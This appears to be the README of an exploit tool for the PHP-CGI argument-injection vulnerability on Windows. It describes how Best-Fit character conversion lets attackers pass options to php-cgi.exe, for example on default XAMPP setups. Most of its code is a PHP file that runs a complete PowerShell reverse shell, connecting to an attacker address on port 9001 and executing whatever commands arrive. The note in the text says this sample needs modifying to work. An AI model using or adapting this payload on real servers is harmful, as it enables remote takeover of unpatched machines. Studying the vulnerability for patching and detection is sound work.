## ๐ Description
In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use "Best-Fit" behavior to replace characters in command line given to Win32 API functions. PHP CGI module may misinterpret those characters as PHP options, which may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc.
"XAMPP is vulnerable in a default configuration, and we can target the /php-cgi/php-cgi.exe endpoint. To target
an explicit .php endpoint (e.g. /index.php), the server must be configured to run PHP scripts in CGI mode."

## โ๏ธ Usage
## ๐ค Establishing reverse shell
### PHP Payload
> [!NOTE]
> This tool demonstrates realistic attack and techniques (TTPs). However this specific payload sample does not function in this scenario. Modify the shell.php to obtain fully functional payload.
```php
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";
exec($payload);
